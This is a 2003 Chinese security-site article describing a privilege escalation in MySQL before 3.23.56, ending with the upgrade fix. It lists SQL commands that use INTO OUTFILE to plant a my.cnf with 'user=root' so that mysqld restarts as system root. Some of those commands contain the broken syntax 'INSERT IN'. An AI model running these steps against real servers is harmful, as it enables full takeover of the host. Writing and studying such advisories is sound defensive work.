| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 安全防御 >> 漏洞分析 >> 文章正文 用户登录 新用户注册
  MySQL ROOT用户可得到系统ROOT权限         ★★★ 【字体:
MySQL ROOT用户可得到系统ROOT权限
作者:NetDemon    文章来源:CnXHacker.Net    点击数:    更新时间:2003-5-18    

在 /etc 目录下有 my.cnf的情况下,通过以下操作,可让mysqld在重新启动之后以ROOT身份运行,

用mysql root连接并输入如下命令:

mysql>CREATE DATABASE roottext;
mysql>USE roottext;
mysql>CREATE TABLE hack (conf VARCHAR(80));
mysql>INSERT IN hack VALUES ('[mysqld]');
mysql>INSERT IN hack VALUES ('user=root');
mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
mysql>QUIT

这样便在mysql的数据目录创建一个含有下面内容的文件my.cnf

[mysqld]
user=root

在mysql重起之后,此文件将覆盖 /etc/my.cnf的内容,mysqld将以root身份运行,这意味着你也同时拥有系统的root权限了,如通过使用创建适当形式的数据表并通过 INTO OUTFILE 创建或改写目标主机上任意文件等


说明:

尽管此漏洞需要获得MySQL的root密码,这事实上是大多数系统root才掌握的密码。不过因为此密码通常比系统的root密码更容易得到,如果入侵者获得此密码,利用此漏洞,这个系统将彻底被控制。特别在mysql <= 3.23.53 的情况下,得到mysql的root的exploit已经早就能在internet上找到了。因此这个漏洞具有相当大的危险性


有此漏洞版本:小于 MySQL 3.23.56 的所有版本

解决方法:升级到 MySQL 3.23.56

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章: 没有了

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    活地运用SQL Injection做数据
    数据库安全应用 使用MySQL的
    MSSQL数据库SA权限入侵的感悟
    美耗资500万欲打造间谍版Mys
    HP-UX get_system_info的工具
    XSS跨站脚本及SQL注入漏洞技
    用Syskey命令加强Windows200
    开源MySQL停止提供企业版源代
    MySpace存0day
    MySpace蠕虫病毒利用Fast-Fl
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.